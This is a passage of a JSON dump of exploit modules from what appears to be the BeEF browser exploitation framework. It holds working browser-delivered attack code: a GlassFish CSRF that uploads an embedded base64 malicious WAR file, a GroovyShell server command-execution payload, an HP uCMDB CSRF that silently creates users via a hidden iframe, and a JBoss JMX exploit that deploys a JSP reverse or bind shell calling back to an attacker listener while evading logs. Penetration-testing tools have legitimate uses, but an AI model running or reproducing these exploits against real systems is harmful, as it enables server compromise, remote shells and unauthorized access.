readFile(stdout.path));});\n        }\n      };\n    \n\n      serverSocket.asyncListen(listener);\n\n})();\n"
  },
  {
    "path": "modules/exploits/glassfish_war_upload_xsrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\n//   This exploit is based on the PoC by Roberto Suggi Liverani - Security-Assessment.com\n//   For more info, refer to: http://blog.malerisch.net/2012/04/oracle-glassfish-server-rest-csrf.html\n\n\nbeef.execute(function() {\n  var restHost = '<%= @restHost %>';\n  var warName = '<%= @warName %>';\n  var warBase = '<%= @warBase %>';\n\t\n  var logUrl = restHost + '/management/domain/applications/application';\n\n\n  if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Array) {\n    XMLHttpRequest.prototype.sendAsBinary = function(datastr) {\n      function byteValue(x) {\n        return x.charCodeAt(0) & 0xff;\n      }\n    var ords = Array.prototype.map.call(datastr, byteValue);\n    var ui8a = new Uint8Array(ords);\n    this.send(ui8a.buffer);\n    }\n  }\n\n  function fileUpload(fileData, fileName) { \n    boundary = \"HELLOWORLD270883142628617\", \n    uri = logUrl, \n    xhr = new XMLHttpRequest(); \n \n    var additionalFields = { \n      asyncreplication: \"true\", \n      availabilityenabled: \"false\", \n      contextroot: \"\", \n      createtables: \"true\", \n      dbvendorname: \"\", \n      deploymentplan: \"\", \n      description: \"\", \n      dropandcreatetables: \"true\", \n      enabled: \"true\", \n      force: \"false\", \n      generatermistubs: \"false\", \n      isredeploy: \"false\", \n      keepfailedstubs: \"false\", \n      keepreposdir: \"false\", \n      keepstate: \"true\", \n      lbenabled: \"true\", \n      libraries: \"\", \n      logReportedErrors: \"true\", \n      name: \"\", \n      precompilejsp: \"false\", \n      properties: \"\", \n      property: \"\", \n      retrieve: \"\", \n      target: \"\", \n      type: \"\", \n      uniquetablenames: \"true\", \n      verify: \"false\", \n      virtualservers: \"\", \n      __remove_empty_entries__: \"true\" \n    }\n\n \n    var fileFieldName = \"id\"; \n    xhr.open(\"POST\", uri, true); \n    xhr.setRequestHeader(\"Content-Type\", \"multipart/form-data; boundary=\"+boundary); // simulate a file MIME POST request.\n    xhr.withCredentials = \"true\"; \n    xhr.onreadystatechange = function() { \n      if (xhr.readyState == 4) {\n\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'Attempt to deploy \\\"' + warName + '\\\" completed.'); \n      } \n    } \n      \n    var body = \"\"; \n      \n    for (var i in additionalFields) { \n      if (additionalFields.hasOwnProperty(i)) { \n        body += addField(i, additionalFields[i], boundary); \n      } \n    } \n  \n    body += addFileField(fileFieldName, fileData, fileName, boundary); \n    body += \"--\" + boundary + \"--\";\n    xhr.setRequestHeader('Content-length', body.length); \n    xhr.sendAsBinary(body);\n    return true; \n  } \n  \n  function addField(name, value, boundary) { \n    var c = \"--\" + boundary + \"\\r\\n\" \n    c += 'Content-Disposition: form-data; name=\"' + name + '\"\\r\\n\\r\\n'; \n    c += value + \"\\r\\n\"; \n    return c; \n  } \n  \n  function addFileField(name, value, filename, boundary) { \n    var c = \"--\" + boundary + \"\\r\\n\" \n    c += 'Content-Disposition: form-data; name=\"' + name + '\"; filename=\"' + filename + '\"\\r\\n'; \n    c += \"Content-Type: application/octet-stream\\r\\n\\r\\n\";\n    \n    c += atob(value);\n\n    c += \"\\r\\n\";\n    return c;   \n  } \n  \n  \n  function start() {\n    fileUpload(warBase,warName);\n  }\n\n  start(); \n\n});\n\n"
  },
  {
    "path": "modules/exploits/glassfish_war_upload_xsrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        glassfish_war_upload_xsrf:\n            enable: true\n            category: \"Exploits\"\n            name: \"GlassFish WAR Upload XSRF\"\n            description: \"This module attempts to deploy a malicious war file on an Oracle GlassFish Server 3.1.1 (build 12).  It makes advantage of a CSRF bug in the REST interface.<br />For more information refer to <a href='http://blog.malerisch.net/2012/04/oracle-glassfish-server-rest-csrf.html'>http://blog.malerisch.net/2012/04/oracle-glassfish-server-rest-csrf.html</a>.\"\n            authors: [\"Bart Leppens\"]\n            target:\n                working: [\"FF\", \"S\", \"C\"]\n                not_working: [\"IE\", \"O\"]\n"
  },
  {
    "path": "modules/exploits/glassfish_war_upload_xsrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Glassfish_war_upload_xsrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'restHost', 'ui_label' => 'Host', 'type' => 'textarea', 'value' => 'http://glassfishserver:4848', 'width' => '400px', 'height' => '25px' },\n      { 'name' => 'warName', 'ui_label' => 'Filename', 'value' => 'hello.war', 'type' => 'textarea', 'width' => '400px', 'height' => '25px' },\n      { 'name' => 'warBase', 'ui_label' => 'Base64 of exploit',\n        'value' => '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', 'type' => 'textarea', 'width' => '400px', 'height' => '800px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/exploits/groovyshell_server_cmd_exec/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar rhost   = '<%= @rhost %>'; \n\tvar rport   = '<%= @rport %>';\n\tvar timeout = '<%= @timeout %>';\n\n\t// validate payload\n\ttry {\n\t\tvar cmd     = '<%= @cmd.gsub(/'/, \"\\\\\\'\").gsub(/\"/, '\\\\\\\"') %>';\n\t\tvar payload = '\\r\\ndiscard\\r\\nprintln \\''+cmd+'\\'.execute().text\\r\\ngo\\r\\nexit\\r\\n'\n\t} catch(e) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());\n\t\treturn;\n\t}\n\n\t// validate target details\n\tif (!rport || !rhost) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed remote host or remote port');\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_port(rport)) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid remote port');\n\t\treturn;\n\t}\n\n\t// send commands\n\tvar groovy_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, \"/index.html\", payload);\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=sent commands\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(groovy_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/groovyshell_server_cmd_exec/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        groovyshell_server_command_execution:\n            enable: true\n            category: \"Exploits\"\n            name: \"GroovyShell Server Command Execution\"\n            description: \"This module uses the GroovyShell Server interface (default port 6789) to execute operating system commands.<br /><br />The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.<br/><br/>The results of the commands are not returned to BeEF.<br/><br/>Note: Spaces in the command are not supported.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"FF\", \"C\"]\n                not_working: [\"IE\"]\n"
  },
  {
    "path": "modules/exploits/groovyshell_server_cmd_exec/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Groovyshell_server_command_execution < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },\n      { 'name' => 'rport',   'ui_label' => 'Remote Port', 'value' => '6789' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },\n      { 'name' => 'cmd',     'ui_label' => 'Commands',    'description' => 'Enter shell commands to execute. Note: Spaces in the command are not supported.', 'type' => 'textarea',\n        'value' => '/bin/sh -c id>/tmp/id;uname>/tmp/uname', 'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?\n    save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?\n  end\nend\n"
  },
  {
    "path": "modules/exploits/hp_ucmdb_add_user_csrf/command.js",
    "content": "/*\n * Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n * Browser Exploitation Framework (BeEF) - https://beefproject.com\n * See the file 'doc/COPYING' for copying permission\n */\n\nbeef.execute(function() {\t\nvar protocol = '<%= @protocol %>';\nvar host = '<%= @host %>';\nvar port = '<%= @port %>';\nvar usertype = '<%= @usertype %>';\nvar customerid = '<%= @customerid %>';\nvar username = '<%= @username %>';\nvar password = '<%= @password %>';\n\nvar url = protocol + '://' + host + ':' + port + '/' + 'HtmlAdaptor?action=invokeOpByName&name=UCMDB:service=Security%20Services&methodName=' + usertype;\nurl += '&arg0=' + customerid + '&arg1=' + username + '&arg2=' + password;\n\nif (usertype == 'createIntegrationUser'){\n\turl += '&arg3=';\n}\n\nvar ucmdb_iframe = beef.dom.createInvisibleIframe();\nucmdb_iframe.setAttribute('src', url);\n\ncleanup = function() {\n    document.body.removeChild(ucmdb_iframe);\n}\nsetTimeout(\"cleanup()\", 15000);\n\nbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=Command executed\");\n});\n"
  },
  {
    "path": "modules/exploits/hp_ucmdb_add_user_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        hp_ucmdb_add_user_csrf:\n            enable: true\n            category: \"Exploits\"\n            name: \"HP uCMDB 9.0x add user CSRF\"\n            description: \"This module attempts to add additional users to the HP uCMDB (universal configuration management database).<br />For more information please refer to <a href='http://bmantra.blogspot.com/2012/10/hp-ucmdb-jmx-console-csrf.html'>http://bmantra.blogspot.com/2012/10/hp-ucmdb-jmx-console-csrf.html</a>\"\n            authors: [\"Bart Leppens\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/hp_ucmdb_add_user_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Hp_ucmdb_add_user_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'protocol', 'type' => 'combobox', 'ui_label' => 'Protocol', 'store_type' => 'arraystore',\n        'store_fields' => ['protocol'], 'store_data' => [['http'], ['https']],\n        'valueField' => 'protocol', 'displayField' => 'protocol', 'mode' => 'local', 'value' => 'http', 'autoWidth' => true },\n      { 'name' => 'host', 'ui_label' => 'Host', 'value' => '127.0.0.1' },\n      { 'name' => 'port', 'ui_label' => 'Port', 'value' => '8080' },\n      { 'name' => 'usertype', 'type' => 'combobox', 'ui_label' => 'Type of user', 'store_type' => 'arraystore',\n        'store_fields' => ['usertype'], 'store_data' => [['createUser'], ['createIntegrationUser']],\n        'valueField' => 'usertype', 'displayField' => 'usertype', 'mode' => 'local', 'value' => 'createUser', 'autoWidth' => true },\n      { 'name' => 'customerid', 'ui_label' => 'CustomerID', 'value' => '1' },\n      { 'name' => 'username', 'ui_label' => 'Desired username', 'value' => 'BeEF' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/jboss_jmx_upload_exploit/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Jboss 6.0.0M1 JMX Upload Exploit\n * Ported from l33tb0y Ruby code in Javascript by antisnatchor.\n * HEAD request with malicious JSP -> sleep 10 secs -> GET request to deployed JSP -> reverse connection to listening MSF handler OR shell binding to high port\n *\n * This is a variation of the JBOSS exploits of Metasploit: instead of deploying a WAR, directly deploy a JSP reverse shell.\n * This is the stealthiest approach: nothing is shown on the logs\n */\nbeef.execute(function() {\n\n   rhost = \"<%= @rhost %>\";\n   rport = \"<%= @rport %>\";\n   lhost = \"<%= @lhost %>\";\n   lport = \"<%= @lport %>\";\n   injectedCommand = \"<%= @injectedCommand %>\";\n   jspName = \"<%= @jspName %>\";\n   payloadType = \"<%= @payload %>\";\n\n   reverse = \"try%20%7B%20Socket%20socket%20=%20new%20Socket(%20%22\" + lhost + \"%22,%20\" + lport + \"%20);%20Process%20process%20=%20Runtime.getRuntime().exec(%20%22\" + injectedCommand + \"%22%20);%20(%20new%20StreamConnector(%20process.getInputStream(),%20socket.getOutputStream()%20)%20).start();%20(%20new%20StreamConnector(%20socket.getInputStream(),%20process.getOutputStream()%20)%20).start();%20%7D%20catch(%20Exception%20e%20)%20%7B%7D%20\";\n   bind = \"try%20%7B%20ServerSocket%20server_socket%20=%20new%20ServerSocket(%20\" + lport + \"%20);%20Socket%20socket%20=%20server_socket.accept();%20server_socket.close();%20Process%20process%20=%20Runtime.getRuntime().exec(%20%22\" + injectedCommand + \"%22%20);%20(%20new%20StreamConnector(%20process.getInputStream(),%20socket.getOutputStream()%20)%20).start();%20(%20new%20StreamConnector(%20socket.getInputStream(),%20process.getOutputStream()%20)%20).start();%20%7D%20catch(%20Exception%20e%20)%20%7B%7D%20\";\n\n   if(payloadType == \"reverse\"){\n       payload = \"%3C%25@page%20import=%22java.lang.*%22%25%3E%20%3C%25@page%20import=%22java.util.*%22%25%3E%20%3C%25@page%20import=%22java.io.*%22%25%3E%20%3C%25@page%20import=%22java.net.*%22%25%3E%20%3C%25%20class%20StreamConnector%20extends%20Thread%20%7B%20InputStream%20is;%20OutputStream%20os;%20StreamConnector(%20InputStream%20is,%20OutputStream%20os%20)%20%7B%20this.is%20=%20is;%20this.os%20=%20os;%20%7D%20public%20void%20run()%20%7B%20BufferedReader%20in%20%20=%20null;%20BufferedWriter%20out%20=%20null;%20try%20%7B%20in%20%20=%20new%20BufferedReader(%20new%20InputStreamReader(%20this.is%20)%20);%20out%20=%20new%20BufferedWriter(%20new%20OutputStreamWriter(%20this.os%20)%20);%20char%20buffer[]%20=%20new%20char[8192];%20int%20length;%20while(%20(%20length%20=%20in.read(%20buffer,%200,%20buffer.length%20)%20)%20%3E%200%20)%20%7B%20out.write(%20buffer,%200,%20length%20);%20out.flush();%20%7D%20%7D%20catch(%20Exception%20e%20)%7B%7D%20try%20%7B%20if(%20in%20!=%20null%20)%20in.close();%20if(%20out%20!=%20null%20)%20out.close();%20%7D%20catch(%20Exception%20e%20)%7B%7D%20%7D%20%7D%20\" + reverse + \"%25%3E\";\n   }else{\n       payload = \"%3C%25@page%20import=%22java.lang.*%22%25%3E%20%3C%25@page%20import=%22java.util.*%22%25%3E%20%3C%25@page%20import=%22java.io.*%22%25%3E%20%3C%25@page%20import=%22java.net.*%22%25%3E%20%3C%25%20class%20StreamConnector%20extends%20Thread%20%7B%20InputStream%20is;%20OutputStream%20os;%20StreamConnector(%20InputStream%20is,%20OutputStream%20os%20)%20%7B%20this.is%20=%20is;%20this.os%20=%20os;%20%7D%20public%20void%20run()%20%7B%20BufferedReader%20in%20%20=%20null;%20BufferedWriter%20out%20=%20null;%20try%20%7B%20in%20%20=%20new%20BufferedReader(%20new%20InputStreamReader(%20this.is%20)%20);%20out%20=%20new%20BufferedWriter(%20new%20OutputStreamWriter(%20this.os%20)%20);%20char%20buffer[]%20=%20new%20char[8192];%20int%20length;%20while(%20(%20length%20=%20in.read(%20buffer,%200,%20buffer.length%20)%20)%20%3E%200%20)%20%7B%20out.write(%20buffer,%200,%20length%20);%20out.flush();%20%7D%20%7D%20catch(%20Exception%20e%20)%7B%7D%20try%20%7B%20if(%20in%20!=%20null%20)%20in.close();%20if(%20out%20!=%20null%20)%20out.close();%20%7D%20catch(%20Exception%20e%20)%7B%7D%20%7D%20%7D%20\" + bind + \"%25%3E\";\n   }\n\n    uri = \"/jmx-console/HtmlAdaptor;index.jsp?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=%2Fconsole-mgr.sar/web-console.war%2F&arg1=\" + jspName + \"&arg2=.jsp&arg3=\" + payload + \"&arg4=True\";\n\n    /* always use dataType: script when doing cross-origin XHR, otherwise even if the HTTP resp is 200, jQuery.ajax will always launch the error() event*/\n\tbeef.net.forge_request(\"http\", \"HEAD\", rhost, rport, uri, null, null, null, 10, 'script', true, null,function(response){\n         if(response.status_code == 200){\n             function triggerReverseConn(){\n                beef.net.forge_request(\"http\", \"GET\", rhost, rport,\"/web-console/\" + jspName + \".jsp\", null, null, null, 10, 'script', true, null,function(response){\n                    if(response.status_code == 200){\n                         if(payloadType == \"reverse\"){\n                             beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=OK: Reverse JSP shell should have been triggered. Check your MSF handler listener.\");\n                         }else{\n                            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=OK: Bind JSP shell should have been triggered. Try to connect to \"+rhost+\":\"+lport+\".\");\n                         }\n                    }else{\n                        beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=ERROR: second GET request failed.\");\n                    }\n                });\n             }\n            // give the time to JBoss to deploy the JSP reverse shell\n            setTimeout(triggerReverseConn,10000);\n         }else{\n             beef.net.send(\"<%= @command_url %>\", <%= @command_id %>,\"result=ERROR: first HEAD request failed.\");\n         }\n    });\n});\n"
  },
  {
    "path": "modules/exploits/jboss_jmx_upload_exploit/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        jboss_jmx_upload_exploit:\n            enable: true\n            category: \"Exploits\"\n            name: \"Jboss 6.0.0M1 JMX Deploy Exploit\"\n            description: \"Deploy a JSP reverse or bind shell (Metasploit one) using the JMX exposed deploymentFileRepository MBean of JBoss. The first request made is a HEAD one to bypass auth and deploy the malicious JSP, the second request is a GET one that triggers the reverse connection to the specified MSF listener.<br />Remember to run the MSF multi/handler listener with java/jsp_shell_reverse_tcp as payload, in case you are using the reverse payload.\"\n            authors: [\"antisnatchor\", \"l33tb0y\"]\n            target:\n                working: [\"ALL\"]\n                not_working: \"O\"\n"
  },
  {
    "path": "modules/exploits/jboss_jmx_upload_exploit/module.rb",
